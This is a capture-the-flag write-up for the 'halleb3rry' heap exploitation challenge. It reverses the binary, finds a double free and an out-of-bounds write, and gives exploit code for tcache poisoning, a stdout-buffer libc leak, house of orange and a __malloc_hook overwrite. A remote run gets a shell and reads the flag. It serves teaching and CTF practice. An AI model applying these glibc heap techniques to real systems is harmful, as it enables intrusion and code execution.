Points: 1003 Solves: 6
Can you pwn like Halle Berry?
Attachment: halleb3rry.tar.gz xpl.py
gef➤ checksec
[+] checksec for '/usr/bin/socat'
Canary : Yes → value: 0x47c90d877242d400
NX : Yes
PIE : Yes
Fortify : Yes
RelRO : Full
++++++++
Heap pwner v01
++++++++
[?] name: AAAA
1) alloc array
2) edit array
3) delete array
4) print name
5) menu
6) exit
>
halleb3rry was quite an interesting heap challenge, which seemed to have no easy way for leaks.
After asking us for a username (which will get stored in bss
), we have the option to create, edit and delete byte arrays. Though we are only allowed to free the array 5 times.
When reading the username, 0x80
bytes will be read and the last byte (or newline) will be replaced with a null byte.
unsigned int read_string(char *buf, int size) {
int read_bytes = read(0, buf, size);
if ( read_bytes == -1 || !read_bytes )
return 0;
unsigned int i = 0;
while ( i < size ) {
if ( buf[i] == '\n' ) {
buf[i] = 0;
return i+1;
}
++i;
}
if ( i > 0 )
buf[i - 1] = 0;
return i;
}
void read_name(char *buf, unsigned int size) {
printf("[?] name: ");
fflush(stdout);
int read_bytes = read_string(buf, size);
if ( !read_bytes )
exit(1);
}
The username will be stored on the stack, and aligned to it, the menu input will be stored.
gef➤ x/30gx 0x7fffffffe150
0x7fffffffe150: 0x4141414141414141 0x4141414141414141 <= username
0x7fffffffe160: 0x4141414141414141 0x4141414141414141
0x7fffffffe170: 0x4141414141414141 0x4141414141414141
0x7fffffffe180: 0x4141414141414141 0x4141414141414141
0x7fffffffe190: 0x4141414141414141 0x4141414141414141
0x7fffffffe1a0: 0x4141414141414141 0x4141414141414141
0x7fffffffe1b0: 0x4141414141414141 0x4141414141414141
0x7fffffffe1c0: 0x4141414141414141 0x0041414141414141
0x7fffffffe1d0: 0x0000000000000000 0x0000000000000000 <= menu_choice
0x7fffffffe1e0: 0x0000000000000000 0x0000000000000000
0x7fffffffe1f0: 0x0000000000000000 0x0000000000000000
0x7fffffffe200: 0x0000000000000000 0x0000000000000000
0x7fffffffe210: 0x0000000000000000 0x0000000000000000
0x7fffffffe220: 0x0000000000000000 0x0000000000000000
0x7fffffffe230: 0x0000000000000000 0x0000000000000000
0x7fffffffe240: 0x0000000000000000 0x0000000000000000
0x7fffffffe250: 0x00007fffffffe340 0xae6bb0b770650f00
0x7fffffffe260: 0x0000000000400eb0 0x00007ffff7a05b97
0x7fffffffe270: 0x0000000000000001 0x00007fffffffe348
If it would be possible to enlarge the username by one byte, it might have been possible to use the print_name
function to leak the following stack address (by giving an option like 0
*127+4
), but it didn’t work out for me (might just have been a red herring), so had to find another way to get a proper leak.
So, let’s take a look at create/edit/delete
void create_array()
{
signed int size; // [rsp+8h] [rbp-98h]
char input[0x80];
memset(input, 0, 0x80);
printf("[?] size: ");
fflush(stdout);
if ( !read_string(input, 128) )
exit(1);
size = atoi(input);
if ( size <= 128 && size > 0 ) {
ptr = malloc(size);
printf("[?] data: ");
fflush(stdout);
memset(&input, 0, 0x80);
if ( !read_string(ptr, size) )
exit(1);
}
else {
fwrite("[-] invalid size!\n", 1, 0x12, stderr);
}
}
Nothing special here, reads a size, allocates an appropriate chunk and stores it in global ptr
.
void delete_array()
{
if ( ptr )
free(ptr);
}
So, this will just free ptr
without clearing it, allowing a double free
.
void edit_array() {
int offset;
char input[0x80];
memset(input, 0, 0x80);
printf("[?] index: ");
fflush(stdout);
if ( !read_string(input, 128) )
exit(1);
offset = atoi(input);
if ( offset > 0 ) { // oob write possible
printf("[?] byte: ");
fflush(stdout);
memset(input, 0, 0x80);
if ( !read_string(&input, 128) )
exit(1);
ptr[offset] = atoi(input);
}
else {
fwrite("[-] invalid idx!\n", 1, 0x11, stderr);
}
}
The edit function doesn’t do the boundary check correctly, so we can write way behind our allocated chunk.
But we still have no leak, and we’d need at least a libc address to do something useful.
I still have the feeling, I overlooked something important (like using the double free
at all), since solving this was going to be quite a ride.
Since at that point, my mind was set up, that we cannot use print_name
for anything useful, the only other option seemed to be leaking via overwriting stdout
buffers.
For getting a leak, we’d thus have to
- Create a libc address on the heap
- Overwrite
_IO_write_ptr
ofstdout
, so it will try to flush the output from the heap printing our prepared libc address
Since we’re using tcache
, freeing chunks will only put heap addresses in the FD
pointers.
But if you free a chunk, big enough to not be handled by tcache
, main_arena
will be used instead to handle this chunk. So, we just have to forge a chunk on the heap with a size of 0x500
for example and free that one. This will put pointers to main_arena
on the heap.
log.info("Create fake chunk and free it to get main_arena ptr on heap")
# Setup two chunks on the heap (both freed)
alloc(0x60-8, "A"*(0x60-8)) # chunk 1
delete()
alloc(0x70-8, "A"*(0x70-8)) # chunk 2
delete()
# Reallocate first chunk
alloc(0x60-8, "\x00")
# Use oob write to overwrite size of chunk 2
edit(0x60-8, 0x01)
edit(0x60-8+1, 0x5)
# Use oob write to write some valid next_sizes on heap
edit(0x60-8+0x500, 0x71)
edit(0x60-8+0x500+0x70, 0x71)
# Reallocate and free chunk (chunk 2) with fake size, so tcache won't be used
alloc(0x70-8, "A"*8)
delete()
After this, the heap will look like this
0x604260: 0x0000000000000000 0x0000000000000061 => Chunk 1
0x604270: 0x0000000000000000 0x4141414141414141
0x604280: 0x4141414141414141 0x4141414141414141
0x604290: 0x4141414141414141 0x4141414141414141
0x6042a0: 0x4141414141414141 0x4141414141414141
0x6042b0: 0x4141414141414141 0x4141414141414141
0x6042c0: 0x0041414141414141 0x0000000000000501 => Chunk 2 (fake size)
0x6042d0: 0x00007ffff7dcfca0 0x00007ffff7dcfca0 => ptr to main_arena
0x6042e0: 0x0000000000000000 0x0000000000000000
0x6042f0: 0x4141414141414141 0x4141414141414141
0x604300: 0x4141414141414141 0x4141414141414141
0x604310: 0x4141414141414141 0x4141414141414141
0x604320: 0x4141414141414141 0x4141414141414141
0x604330: 0x0041414141414141 0x000000000001fcd1
tcache arena
will be cleared, after we freed the big chunk, so we have to resetup some chunks to do something useful.
And still, we have to find a way to print the content of our heap (for which no functionality in the binary exists).
Since the binary is using printf
, a chunk on the heap is allocated for output buffering
gef➤ x/30gx stdout
0x7ffff7dd0760 <_IO_2_1_stdout_>: 0x00000000fbad2884 0x0000000000603260 <= flags / _IO_read_ptr
0x7ffff7dd0770 <_IO_2_1_stdout_+16>: 0x0000000000603260 0x0000000000603260 <= _IO_read_end / _IO_read_base
0x7ffff7dd0780 <_IO_2_1_stdout_+32>: 0x0000000000603260 0x0000000000603260 <= _IO_write_base / _IO_write_ptr
0x7ffff7dd0790 <_IO_2_1_stdout_+48>: 0x0000000000604260 0x0000000000603260 <= _IO_write_end / _IO_buf_base
0x7ffff7dd07a0 <_IO_2_1_stdout_+64>: 0x0000000000604260 0x0000000000000000 <= _IO_buf_end / _IO_save_base
0x7ffff7dd07b0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000 <= _IO_backup_base / _IO_save_end
0x7ffff7dd07c0 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007ffff7dcfa00 <= _IO_marker / _chain
0x7ffff7dd07d0 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff <= _fileno
0x7ffff7dd07e0 <_IO_2_1_stdout_+128>: 0x0000000000000000 0x00007ffff7dd18c0
0x7ffff7dd07f0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd0800 <_IO_2_1_stdout_+160>: 0x00007ffff7dcf8c0 0x0000000000000000
0x7ffff7dd0810 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0820 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd0830 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007ffff7dcc2a0
0x603250: 0x0000000000000000 0x0000000000001011
0x603260: 0x61746164205d203e 0x320a79617220203a
0x603270: 0x6120746964652029 0x2029330a79617272
0x603280: 0x61206574656c6564 0x2029340a79617272
0x603290: 0x616e20746e697270 0x656d2029350a656d
0x6032a0: 0x78652029360a756e 0x000000203e0a7469
0x6032b0: 0x0000000000000000 0x0000000000000000
0x6032c0: 0x0000000000000000 0x0000000000000000
0x6032d0: 0x0000000000000000 0x0000000000000000
If we are able to overwrite _IO_write_ptr
, libc will think, there’s still data to print, and spill out the data between _IO_write_base
and _IO_write_ptr
.
So, how to get to overwrite anything in stdout
without having a libc address yet?
We’ll be using the fact, that bss
contains a pointer to it…
gef➤ x/30gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000000
0x602010: 0x0000000000000000 0x0000000000000000
0x602020 <stdout>: 0x00007ffff7dd0760 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040 <stderr>: 0x00007ffff7dd0680 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
Since allocating a chunk into stdout
itself, might crash the application, when following allocations write a FD pointer into it, we’ll use stderr
instead, which happens to be just above stdout
.
To pull this off, we’ll now prepare two freed chunks again (which will be handled by tcache
again) and then overwrite the FD
of a freed chunk with the address of stderr
(on bss).
def write_off(off, payload):
for i in range(len(payload)):
edit(off+i, ord(payload[i]))
...
log.info("Setup some chunks and overwrite freed FD pointing to stdout pointer")
# Allocate two aligned chunks (both in tcache bin list)
alloc(0x60-8, "A"*(0x60-8))
delete()
alloc(0x70-8, "C"*(0x70-8))
delete()
# Allocate first chunk again
alloc(0x60-8, "Y"*(0x60-8))
# Overwrite FD of following chunk with pointer to stdout
write_off(0x60, p64(0x602040))
# Allocate chunk to get stdout pointer into fastbin list
alloc(0x70-8, "X"*10)
tcache
will now contain the address of stdout
on bss.
gef➤ x/30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000251
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000602040 <= stderr
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
Now, when we allocate the next chunk, malloc
will serve us the chunk at 0x602040
0x602040 <stderr>: 0x00007ffff7dd0680 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
and put the "FD"
from this chunk (which happens to be the address of stderr
) into the bin list.
gef➤ x/30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000251
0x603010: 0x0000ff0000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x00007ffff7dd0680 <= stderr
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
Thus allocating another chunk will now give us a chunk inside stderr
.
log.info("Allocate chunk to get stderr pointer into bin list")
alloc(0x70-8, "\n")
log.info("Allocate chunk inside stderr")
alloc(0x70-8, "\n")
stderr
will be broken from now on, so be cautious to not trigger an error message, or it will crash.
gef➤ x/30gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000000
0x602010: 0x0000000000000000 0x0000000000000000
0x602020 <stdout>: 0x00007ffff7dd0760 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040 <stderr>: 0x00007ffff7dd0600 0x0000000000000000
0x602050: 0x0000000000000000 0x00007ffff7dd0680 <== ptr
gef➤ x/30gx stdout
0x7ffff7dd0760 <_IO_2_1_stdout_>: 0x00000000fbad2884 0x0000000000603260 <= flags / _IO_read_ptr
0x7ffff7dd0770 <_IO_2_1_stdout_+16>: 0x0000000000603260 0x0000000000603260 <= _IO_read_end / _IO_read_base
0x7ffff7dd0780 <_IO_2_1_stdout_+32>: 0x0000000000603260 0x0000000000603260 <= _IO_write_base / _IO_write_ptr
0x7ffff7dd0790 <_IO_2_1_stdout_+48>: 0x0000000000604260 0x0000000000603260 <= _IO_write_end / _IO_buf_base
0x7ffff7dd07a0 <_IO_2_1_stdout_+64>: 0x0000000000604260 0x0000000000000000 <= _IO_buf_end / _IO_save_base
0x7ffff7dd07b0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000 <= _IO_backup_base / _IO_save_end
0x7ffff7dd07c0 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007ffff7dcfa00 <= _IO_marker / _chain
0x7ffff7dd07d0 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff <= _fileno
We now have ptr
pointing to stderr
(which is above stdout
) and can use this to overwrite _IO_write_ptr
. Overwriting the LSB will get us nowhere, since it will only print stuff inside the stdout buffer, but overwriting the second byte should give us a huge leak.
log.info("Overwrite _IO_write_ptr")
r.sendline("2")
r.sendlineafter("index: ", str(0x109))
r.sendlineafter("byte: ", str(0xf0))
x00\x00[DEBUG] Received 0x1000 bytes:
00000000 00 00 00 00 00 00 00 00 61 00 00 00 00 00 00 00 │····│····│a···│····│
00000010 00 00 00 00 00 00 00 00 41 41 41 41 41 41 41 41 │····│····│AAAA│AAAA│
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000060 41 41 41 41 41 41 41 00 61 00 00 00 00 00 00 00 │AAAA│AAA·│a···│····│
00000070 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 │YYYY│YYYY│YYYY│YYYY│
*
000000c0 59 59 59 59 59 59 59 00 71 00 00 00 00 00 00 00 │YYYY│YYY·│q···│····│
000000d0 58 58 58 58 58 58 58 58 58 58 43 43 43 43 43 43 │XXXX│XXXX│XXCC│CCCC│
000000e0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 │CCCC│CCCC│CCCC│CCCC│
*
00000130 43 43 43 43 43 43 43 00 31 04 00 00 00 00 00 00 │CCCC│CCC·│1···│····│
00000140 a0 fc 81 9d 8e 7f 00 00 a0 fc 81 9d 8e 7f 00 00 │····│····│····│····│ <= main_arena ptr
00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000560 30 04 00 00 00 00 00 00 70 00 00 00 00 00 00 00 │0···│····│p···│····│
00000570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
000005d0 00 00 00 00 00 00 00 00 71 00 00 00 00 00 00 00 │····│····│q···│····│
000005e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
r.recvuntil("CCC\x00\x31")
r.recv(7)
LIBCLEAK = u64(r.recv(8))
libc.address = LIBCLEAK - 96 - 0x10 - libc.symbols["__malloc_hook"]
r.recvuntil("> ")
log.info("LIBC leak : %s" % hex(LIBCLEAK))
log.info("LIBC : %s" % hex(libc.address))
So, finally we have our libc leak… But as well, we’re out of free
, since we freed already 5 times to get here.
Might have been a bad idea, that I totally ignored the possible double free
in my exploit. Maybe this would have helped to get this done with a less amount of frees, but well, there I was, a libc leak at hand and only armed with a stderr
chunk and nothing to free anymore :(
Well, if the binary won’t help me triggering free
anymore, we have to force it.
We still can allocate as many chunks as we like, so it’s time for house of orange
.
log.info("Trigger free via house of orange")
for i in range(29):
alloc(128, "A")
# Overwrite top
write_off(0x88, p64(0x71))
# Allocate to trigger free of top chunk
alloc(128, "A")
This will result in freeing the top chunk and putting it into tcache arena
.
gef➤ x/30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000251
0x603010: 0x0000fe0001000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000604fa0 <= freed top chunk
0x603070: 0x0000000000000000 0x00000000fbad2086
0x603080: 0x0000000000000000 0x0000000000000000
But still not enough to do something useful with it, we need another chunk behind it, that is also freed.
Let’s just do it again :)
log.info("Trigger second free")
for i in range(27):
alloc(128, "A")
# Overwrite top
write_off(0x88, p64(0x41))
# Allocate to trigger free of top chunk
alloc(128, "A")
gef➤ x/30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000251
0x603010: 0x0000fe0001000001 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000624fd0 0x0000000000000000 <= second freed top chunk
0x603060: 0x0000000000000000 0x0000000000604fa0 <= first freed top chunk
0x603070: 0x0000000000000000 0x00000000fbad2086
Two freed chunks in tcache arena
again, this might finally come to an end :)
All that’s left now, is to allocate the first freed chunk, overwrite the FD
of the second freed chunk with __malloc_hook
and overwrite it with a one_gadget
.
log.info("Get previous free chunk")
alloc(0x50-8, "A")
log.info("Overwrite FD of second chunk with __malloc_hook")
payload = p64(libc.symbols["__malloc_hook"])
write_off(0x20030, payload)
log.info("Allocate chunks to overwrite __malloc_hook with one_gadget")
alloc(0x20-8, "A")
alloc(0x20-8, p64(libc.address+0x4f322))
log.info("Allocate another chunk to trigger one_gadget")
r.sendline("1")
r.sendline("100")
One last thing to note: When writing the exploit, I ran the binary directly from the script, which resulted in the final exploit not working remotely, since the size of the buffer chunk will vary. You can get around this by running the binary in socat
and connect to it locally, like you would do remote, which will help in fixing the offsets of the chunks.
$ python xpl.py 1
[*] '/media/sf_ctf/secfest/halleberry/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to halleb3rry-01.pwn.beer on port 6666: Done
[*] Create fake chunk and free it to get main_arena ptr on heap
[*] Setup some chunks and overwrite freed FD pointing to stdout pointer
[*] Allocate chunk to get stderr pointer into bin list
[*] Allocate chunk inside stderr
[*] Overwrite _IO_write_ptr
[*] LIBC leak : 0x7f945a12cca0
[*] LIBC : 0x7f9459d41000
[*] Trigger free via house of orange
[*] Trigger second free
[*] Get previous free chunk
[*] Overwrite FD of second chunk with __malloc_hook
[*] Allocate chunks to overwrite __malloc_hook with one_gadget
[*] Allocate another chunk to trigger one_gadget
[*] Switching to interactive mode
[?] size: $ ls
flag
libc.so.6
pwn
start.sh
$ cat flag
sctf{tcache_1s_s0_secure_doubl3_fr33_and_std0ut_lolz}
Still feels, like I overcomplicated this one, so I’m curious to see other writeups :)